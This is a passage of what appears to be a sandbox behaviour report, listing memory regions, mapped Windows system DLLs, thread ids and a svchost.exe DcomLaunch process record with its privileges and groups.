end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000470000" filename = "" Region: id = 3518 start_va = 0x480000 end_va = 0x607fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000480000" filename = "" Region: id = 3519 start_va = 0x610000 end_va = 0x790fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000610000" filename = "" Region: id = 3520 start_va = 0x7f0000 end_va = 0x82ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007f0000" filename = "" Region: id = 3521 start_va = 0xa10000 end_va = 0xa8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a10000" filename = "" Region: id = 3522 start_va = 0xac0000 end_va = 0xb3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ac0000" filename = "" Region: id = 3523 start_va = 0xb40000 end_va = 0xbbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b40000" filename = "" Region: id = 3524 start_va = 0xc40000 end_va = 0xcbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c40000" filename = "" Region: id = 3525 start_va = 0xfd0000 end_va = 0x104ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000fd0000" filename = "" Region: id = 3526 start_va = 0x11f0000 end_va = 0x126ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000011f0000" filename = "" Region: id = 3527 start_va = 0x14c0000 end_va = 0x153ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000014c0000" filename = "" Region: id = 3528 start_va = 0x1690000 end_va = 0x178ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001690000" filename = "" Region: id = 3529 start_va = 0x1790000 end_va = 0x1a5efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 3530 start_va = 0x1a60000 end_va = 0x1b5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001a60000" filename = "" Region: id = 3531 start_va = 0x1b60000 end_va = 0x1d5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001b60000" filename = "" Region: id = 3532 start_va = 0x1d60000 end_va = 0x1f5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001d60000" filename = "" Region: id = 3533 start_va = 0x1f60000 end_va = 0x235ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f60000" filename = "" Region: id = 3534 start_va = 0x2440000 end_va = 0x24bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002440000" filename = "" Region: id = 3535 start_va = 0x76c40000 end_va = 0x76d5efff monitored = 0 entry_point = 0x76c55340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 3536 start_va = 0x76d60000 end_va = 0x76e59fff monitored = 0 entry_point = 0x76d7a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 3537 start_va = 0x76e60000 end_va = 0x77008fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3538 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 3539 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 3540 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3541 start_va = 0xffea0000 end_va = 0xffef2fff monitored = 0 entry_point = 0xffeb3310 region_type = mapped_file name = "services.exe" filename = "\\Windows\\System32\\services.exe" (normalized: "c:\\windows\\system32\\services.exe") Region: id = 3542 start_va = 0x7fefaff0000 end_va = 0x7fefb000fff monitored = 0 entry_point = 0x7fefaff1070 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll") Region: id = 3543 start_va = 0x7fefc040000 end_va = 0x7fefc046fff monitored = 0 entry_point = 0x7fefc0414b0 region_type = mapped_file name = "wshtcpip.dll" filename = "\\Windows\\System32\\WSHTCPIP.DLL" (normalized: "c:\\windows\\system32\\wshtcpip.dll") Region: id = 3544 start_va = 0x7fefc260000 end_va = 0x7fefc298fff monitored = 0 entry_point = 0x7fefc26c0f0 region_type = mapped_file name = "ubpm.dll" filename = "\\Windows\\System32\\ubpm.dll" (normalized: "c:\\windows\\system32\\ubpm.dll") Region: id = 3545 start_va = 0x7fefc2a0000 end_va = 0x7fefc2a9fff monitored = 0 entry_point = 0x7fefc2a3cb8 region_type = mapped_file name = "credssp.dll" filename = "\\Windows\\System32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll") Region: id = 3546 start_va = 0x7fefc630000 end_va = 0x7fefc636fff monitored = 0 entry_point = 0x7fefc63142c region_type = mapped_file name = "wship6.dll" filename = "\\Windows\\System32\\wship6.dll" (normalized: "c:\\windows\\system32\\wship6.dll") Region: id = 3547 start_va = 0x7fefc640000 end_va = 0x7fefc694fff monitored = 0 entry_point = 0x7fefc641054 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll") Region: id = 3548 start_va = 0x7fefc890000 end_va = 0x7fefc8befff monitored = 0 entry_point = 0x7fefc891064 region_type = mapped_file name = "authz.dll" filename = "\\Windows\\System32\\authz.dll" (normalized: "c:\\windows\\system32\\authz.dll") Region: id = 3549 start_va = 0x7fefcba0000 end_va = 0x7fefcbc2fff monitored = 0 entry_point = 0x7fefcba1198 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 3550 start_va = 0x7fefcbd0000 end_va = 0x7fefcc36fff monitored = 0 entry_point = 0x7fefcbd1010 region_type = mapped_file name = "scesrv.dll" filename = "\\Windows\\System32\\scesrv.dll" (normalized: "c:\\windows\\system32\\scesrv.dll") Region: id = 3551 start_va = 0x7fefcc40000 end_va = 0x7fefcc4afff monitored = 0 entry_point = 0x7fefcc41030 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll") Region: id = 3552 start_va = 0x7fefcc50000 end_va = 0x7fefcc68fff monitored = 0 entry_point = 0x7fefcc51020 region_type = mapped_file name = "scext.dll" filename = "\\Windows\\System32\\scext.dll" (normalized: "c:\\windows\\system32\\scext.dll") Region: id = 3553 start_va = 0x7fefcc70000 end_va = 0x7fefcc94fff monitored = 0 entry_point = 0x7fefcc79658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 3554 start_va = 0x7fefcca0000 end_va = 0x7fefccaefff monitored = 0 entry_point = 0x7fefcca1010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 3555 start_va = 0x7fefcd50000 end_va = 0x7fefcd8cfff monitored = 0 entry_point = 0x7fefcd518f4 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll") Region: id = 3556 start_va = 0x7fefcd90000 end_va = 0x7fefcda3fff monitored = 0 entry_point = 0x7fefcd910e0 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 3557 start_va = 0x7fefcdb0000 end_va = 0x7fefcdbefff monitored = 0 entry_point = 0x7fefcdb19b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 3558 start_va = 0x7fefce60000 end_va = 0x7fefcecbfff monitored = 0 entry_point = 0x7fefce62780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 3559 start_va = 0x7fefd390000 end_va = 0x7fefd3bdfff monitored = 0 entry_point = 0x7fefd391010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3560 start_va = 0x7fefd3c0000 end_va = 0x7fefd49afff monitored = 0 entry_point = 0x7fefd3e0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 3561 start_va = 0x7fefd4a0000 end_va = 0x7fefd5ccfff monitored = 0 entry_point = 0x7fefd4eed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 3562 start_va = 0x7fefd650000 end_va = 0x7fefd758fff monitored = 0 entry_point = 0x7fefd651064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 3563 start_va = 0x7fefda20000 end_va = 0x7fefda86fff monitored = 0 entry_point = 0x7fefda2b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 3564 start_va = 0x7fefda90000 end_va = 0x7fefda9dfff monitored = 0 entry_point = 0x7fefda91080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 3565 start_va = 0x7fefdaa0000 end_va = 0x7fefdaa7fff monitored = 0 entry_point = 0x7fefdaa1504 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 3566 start_va = 0x7fefdbf0000 end_va = 0x7fefdcb8fff monitored = 0 entry_point = 0x7fefdc6a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 3567 start_va = 0x7fefdda0000 end_va = 0x7fefddecfff monitored = 0 entry_point = 0x7fefdda1070 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 3568 start_va = 0x7fefeb80000 end_va = 0x7fefeb9efff monitored = 0 entry_point = 0x7fefeb860e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 3569 start_va = 0x7feff0d0000 end_va = 0x7feff16efff monitored = 0 entry_point = 0x7feff0d25a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 3570 start_va = 0x7feff180000 end_va = 0x7feff180fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 3571 start_va = 0x7fffff96000 end_va = 0x7fffff97fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff96000" filename = "" Region: id = 3572 start_va = 0x7fffff98000 end_va = 0x7fffff99fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff98000" filename = "" Region: id = 3573 start_va = 0x7fffffa2000 end_va = 0x7fffffa3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa2000" filename = "" Region: id = 3574 start_va = 0x7fffffa6000 end_va = 0x7fffffa7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa6000" filename = "" Region: id = 3575 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 3576 start_va = 0x7fffffd5000 end_va = 0x7fffffd6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 3577 start_va = 0x7fffffdb000 end_va = 0x7fffffdbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 3578 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 3579 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 3580 start_va = 0xff7f0000 end_va = 0xff822fff monitored = 0 entry_point = 0xff81d914 region_type = mapped_file name = "trustedinstaller.exe" filename = "\\Windows\\servicing\\TrustedInstaller.exe" (normalized: "c:\\windows\\servicing\\trustedinstaller.exe") Thread: id = 293 os_tid = 0xab4 Thread: id = 294 os_tid = 0xd80 Thread: id = 295 os_tid = 0x49c Thread: id = 296 os_tid = 0x790 Thread: id = 297 os_tid = 0x27c Thread: id = 298 os_tid = 0x220 Thread: id = 299 os_tid = 0x214 Thread: id = 449 os_tid = 0xde0 Process: id = "12" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x77980000" os_pid = "0x248" os_integrity_level = "0x4000" os_privileges = "0x60b00080" monitor_reason = "child_process" parent_id = "11" os_parent_pid = "0x1d0" cmd_line = "C:\\Windows\\system32\\svchost.exe -k DcomLaunch" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\DcomLaunch" [0xa], "NT SERVICE\\PlugPlay" [0xe], "NT SERVICE\\Power" [0xa], "NT AUTHORITY\\Logon Session 00000000:00006dc4" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Region: id = 4205 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 4206 start_va = 0x20000 end_va = 0x20fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "svchost.exe.mui" filename = "\\Windows\\System32\\en-US\\svchost.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\svchost.exe.mui") Region: id = 4207 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 4208 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 4209 start_va = 0x50000 end_va = 0xb6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 4210 start_va = 0xc0000 end_va = 0x17ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000c0000" filename = "" Region: id = 4211 start_va = 0x180000 end_va = 0x180fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000180000" filename = "" Region: id = 4212 start_va = 0x190000 end_va = 0x190fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000190000" filename = "" Region: id = 4213 start_va = 0x1a0000 end_va = 0x1affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001a0000" filename = "" Region: id = 4214 start_va = 0x1b0000 end_va = 0x22ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 4215 start_va = 0x230000 end_va = 0x23cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "setupapi.dll.mui" filename = "\\Windows\\System32\\en-US\\setupapi.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\setupapi.dll.mui") Region: id = 4216 start_va = 0x240000 end_va = 0x240fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 4217 start_va = 0x250000 end_va = 0x250fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000250000" filename = "" Region: id = 4218 start_va = 0x260000 end_va = 0x260fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 4219 start_va = 0x270000 end_va = 0x270fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000270000" filename = "" Region: id = 4220 start_va = 0x280000 end_va = 0x280fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000280000" filename = "" Region: id = 4221 start_va = 0x290000 end_va = 0x293fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "umpnpmgr.dll.mui" filename = "\\Windows\\System32\\en-US\\umpnpmgr.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\umpnpmgr.dll.mui") Region: id = 4222 start_va = 0x2b0000 end_va = 0x3affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002b0000" filename = "" Region: id = 4223 start_va = 0x3b0000 end_va = 0x4affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003b0000" filename = "" Region: id = 4224 start_va = 0x630000 end_va = 0x72ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000630000" filename = "" Region: id = 4225 start_va = 0x770000 end_va = 0xa3efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 4226 start_va = 0xa40000 end_va = 0xbc7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a40000" filename = "" Region: id = 4227 start_va = 0xbd0000 end_va = 0xd50fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000bd0000" filename = "" Region: id = 4228 start_va = 0xde0000 end_va = 0xe5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000de0000" filename = "" Region: id = 4229 start_va = 0xe60000 end_va = 0xedffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e60000" filename = "" Region: id = 4230 start_va = 0xf10000 end_va = 0xf1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000f10000" filename = "" Region: id = 4231 start_va = 0xf70000 end_va = 0xfeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000f70000" filename = "" Region: id = 4232 start_va = 0x1090000 end_va = 0x110ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001090000" filename = "" Region: id = 4233 start_va = 0x1120000 end_va = 0x119ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001120000" filename = "" Region: id = 4234 start_va = 0x11f0000 end_va = 0x126ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000011f0000" filename = "" Region: id = 4235 start_va = 0x1330000 end_va = 0x13affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001330000" filename = "" Region: id = 4236 start_va = 0x13d0000 end_va = 0x144ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000013d0000" filename = "" Region: id = 4237 start_va = 0x14b0000 end_va = 0x152ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000014b0000" filename = "" Region: id = 4238 start_va = 0x1550000 end_va = 0x15cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001550000" filename = "" Region: id = 4239 start_va = 0x15d0000 end_va = 0x16cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000015d0000" filename = "" Region: id = 4240 start_va = 0x16d0000 end_va = 0x17cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000016d0000" filename = "" Region: id = 4241 start_va = 0x76c40000 end_va = 0x76d5efff monitored = 0 entry_point = 0x76c55340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 4242 start_va = 0x76d60000 end_va = 0x76e59fff monitored = 0 entry_point = 0x76d7a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 4243 start_va = 0x76e60000 end_va = 0x77008fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 4244 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 4245 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 4246 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 4247 start_va = 0xff450000 end_va = 0xff45afff monitored = 0 entry_point = 0xff45246c region_type = mapped_file name = "svchost.exe" filename = "\\Windows\\System32\\svchost.exe" (normalized: "c:\\windows\\system32\\svchost.exe") Region: id = 4248 start_va = 0x7fef46e0000 end_va = 0x7fef4700fff monitored = 0 entry_point = 0x7fef46f03b0 region_type = mapped_file name = "wmiutils.dll" filename = "\\Windows\\System32\\wbem\\wmiutils.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiutils.dll") Region: id = 4249 start_va = 0x7fef4780000 end_va = 0x7fef4792fff monitored = 0 entry_point = 0x7fef4781d80 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\System32\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemsvc.dll") Region: id = 4250 start_va = 0x7fef4a60000 end_va = 0x7fef4a86fff monitored = 0 entry_point = 0x7fef4a611a0 region_type = mapped_file name = "ntdsapi.dll" filename = "\\Windows\\System32\\ntdsapi.dll" (normalized: "c:\\windows\\system32\\ntdsapi.dll") Region: id = 4251 start_va = 0x7fef4a90000 end_va = 0x7fef4b62fff monitored = 0 entry_point = 0x7fef4b08b00 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\System32\\wbem\\fastprox.dll" (normalized: "c:\\windows\\system32\\wbem\\fastprox.dll") Region: id = 4252 start_va = 0x7fef4b70000 end_va = 0x7fef4ba1fff monitored = 0 entry_point = 0x7fef4b8ca90 region_type = mapped_file name = "wmidcprv.dll" filename = "\\Windows\\System32\\wbem\\WmiDcPrv.dll" (normalized: "c:\\windows\\system32\\wbem\\wmidcprv.dll") Region: id = 4253 start_va = 0x7fefad20000 end_va = 0x7fefad2dfff monitored = 0 entry_point = 0x7fefad25500 region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\System32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll") Region: id = 4254 start_va = 0x7fefadf0000 end_va = 0x7fefae66fff monitored = 0 entry_point = 0x7fefae2e7f0 region_type = mapped_file name = "wbemcomn2.dll" filename = "\\Windows\\System32\\wbemcomn2.dll" (normalized: "c:\\windows\\system32\\wbemcomn2.dll") Region: id = 4255 start_va = 0x7fefaff0000 end_va = 0x7fefb000fff monitored = 0 entry_point = 0x7fefaff1070 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll") Region: id = 4256 start_va = 0x7fefbda0000 end_va = 0x7fefbdccfff monitored = 0 entry_point = 0x7fefbda1010 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 4257 start_va = 0x7fefc070000 end_va = 0x7fefc0f0fff monitored = 0 entry_point = 0x7fefc07cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 4258 start_va = 0x7fefc100000 end_va = 0x7fefc12bfff monitored = 0 entry_point = 0x7fefc101860 region_type = mapped_file name = "umpo.dll" filename = "\\Windows\\System32\\umpo.dll" (normalized: "c:\\windows\\system32\\umpo.dll") Region: id = 4259 start_va = 0x7fefc130000 end_va = 0x7fefc14afff monitored = 0 entry_point = 0x7fefc132068 region_type = mapped_file name = "gpapi.dll" filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll") Region: id = 4260 start_va = 0x7fefc150000 end_va = 0x7fefc16dfff monitored = 0 entry_point = 0x7fefc1513b8 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 4261 start_va = 0x7fefc170000 end_va = 0x7fefc181fff monitored = 0 entry_point = 0x7fefc171060 region_type = mapped_file name = "devrtl.dll" filename = "\\Windows\\System32\\devrtl.dll" (normalized: "c:\\windows\\system32\\devrtl.dll") Region: id = 4262 start_va = 0x7fefc190000 end_va = 0x7fefc1aefff monitored = 0 entry_point = 0x7fefc195c68 region_type = mapped_file name = "spinf.dll" filename = "\\Windows\\System32\\SPInf.dll" (normalized: "c:\\windows\\system32\\spinf.dll") Region: id = 4263 start_va = 0x7fefc1b0000 end_va = 0x7fefc216fff monitored = 0 entry_point = 0x7fefc1bd320 region_type = mapped_file name = "umpnpmgr.dll" filename = "\\Windows\\System32\\umpnpmgr.dll" (normalized: "c:\\windows\\system32\\umpnpmgr.dll") Region: id = 4264 start_va = 0x7fefc2a0000 end_va = 0x7fefc2a9fff monitored = 0 entry_point = 0x7fefc2a3cb8 region_type = mapped_file name = "credssp.dll" filename = "\\Windows\\System32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll") Region: id = 4265 start_va = 0x7fefc2b0000 end_va = 0x7fefc2bcfff monitored = 0 entry_point = 0x7fefc2b1348 region_type = mapped_file name = "pcwum.dll" filename = "\\Windows\\System32\\pcwum.dll" (normalized: "c:\\windows\\system32\\pcwum.dll") Region: id = 4266 start_va = 0x7fefc3a0000 end_va = 0x7fefc3e6fff monitored = 0 entry_point = 0x7fefc3a1064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 4267 start_va = 0x7fefc6a0000 end_va = 0x7fefc6b7fff monitored = 0 entry_point = 0x7fefc6a3b48 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 4268 start_va = 0x7fefc810000 end_va = 0x7fefc831fff monitored = 0 entry_point = 0x7fefc815d30 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 4269 start_va = 0x7fefcc70000 end_va = 0x7fefcc94fff monitored = 0 entry_point = 0x7fefcc79658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 4270 start_va = 0x7fefcca0000 end_va = 0x7fefccaefff monitored = 0 entry_point = 0x7fefcca1010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 4271 start_va = 0x7fefcd50000 end_va = 0x7fefcd8cfff monitored = 0 entry_point = 0x7fefcd518f4 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll") Region: id = 4272 start_va = 0x7fefcd90000 end_va = 0x7fefcda3fff monitored = 0 entry_point = 0x7fefcd910e0 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 4273 start_va = 0x7fefcdb0000 end_va = 0x7fefcdbefff monitored = 0 entry_point = 0x7fefcdb19b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 4274 start_va = 0x7fefce50000 end_va = 0x7fefce5efff monitored = 0 entry_point = 0x7fefce51020 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 4275 start_va = 0x7fefce60000 end_va = 0x7fefcecbfff monitored = 0 entry_point = 0x7fefce62780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 4276 start_va = 0x7fefced0000 end_va = 0x7fefcf05fff monitored = 0 entry_point = 0x7fefced1474 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id 